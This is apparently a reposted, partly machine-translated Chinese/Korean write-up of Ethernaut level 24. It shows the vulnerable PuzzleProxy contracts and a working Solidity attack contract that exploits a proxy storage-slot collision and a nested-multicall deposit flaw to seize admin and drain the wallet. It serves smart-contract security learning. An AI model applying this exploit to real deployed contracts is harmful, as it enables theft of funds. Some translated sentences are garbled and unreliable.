Ethernaut系列-레벨 24(PuzzleProxy)
레벨 24(PuzzleProxy):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
通关要求
관리자 = 플레이어
要点
delegatecall의 저장소冲突问题
(前面几关有涉及,参考第6关)
解题思路
프록시 및 impl의 스토리지는 다음과 같습니다.
slot | proxy | impl
----------------------------------
0 | pendingAdmin | owner
1 | admin | maxBalance
所以要修改admin可以设置maxBalance,但setMaxBalance需要合约余额为0(合约开始会是0.001 ether),这样就需要取光合约的余额.
分析下impl的multicall/deposit是有逻辑漏洞,就是可以一次multicall,里包含多个multicall,这些multicall里包含deposit.这样会导致如maltical的mgs.value一次,但会deposit多次deposit多次次使用增加 저울
如调用multicall时mgs.value=0.001 ether, 传入2个multicall,每个multicall嵌一个deposit,最终balances[msg.sender] = 0.002 ether, 但余额只增加0.001 ether
最终变成总合约余额=0.002 ether,내 잔액[플레이어] = 0.002 ether
再执行合约的execute取0.002 ether就可以把余额取光
function run(address _runAddress) external payable {
ILevel level = ILevel(_runAddress);
//proxy和impl的storage位置冲突了,设置pendingAdmin对应的是impl的owner
level.proposeNewAdmin(address(this));
level.addToWhitelist(address(this));
bytes memory depositData = abi.encodeWithSelector(
bytes4(keccak256("deposit()")));
bytes memory executeData = abi.encodeWithSelector(
bytes4(keccak256("execute(address,uint256,bytes)")),
address(this),
0.002 ether,
new bytes(0));
bytes [] memory mutilecallBytes = new bytes[](3);
mutilecallBytes[0]=getMuticallData(depositData);
mutilecallBytes[1]=getMuticallData(depositData);
mutilecallBytes[2]=getMuticallData(executeData);
//multicall逻辑漏洞,只验证了同个列表不能有多个deposit,没验证不能multicall,这样可以把deposit放在multicall里
level.multicall{value:0.001 ether}(mutilecallBytes);
//proxy和impl的storage位置冲突了,设置maxBalance对应的是proxy的admin
level.setMaxBalance(uint160(msg.sender));
}
function getMuticallData(bytes memory data) private pure returns (bytes memory){
bytes [] memory mutilecallBytes = new bytes[](1);
mutilecallBytes[0]=data;
bytes memory mutilecallData = abi.encodeWithSelector(
bytes4(keccak256("multicall(bytes[])")),
mutilecallBytes);
return mutilecallData;
}
Reference
이 문제에 관하여(Ethernaut系列-레벨 24(PuzzleProxy)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-24puzzleproxy-5eb3텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)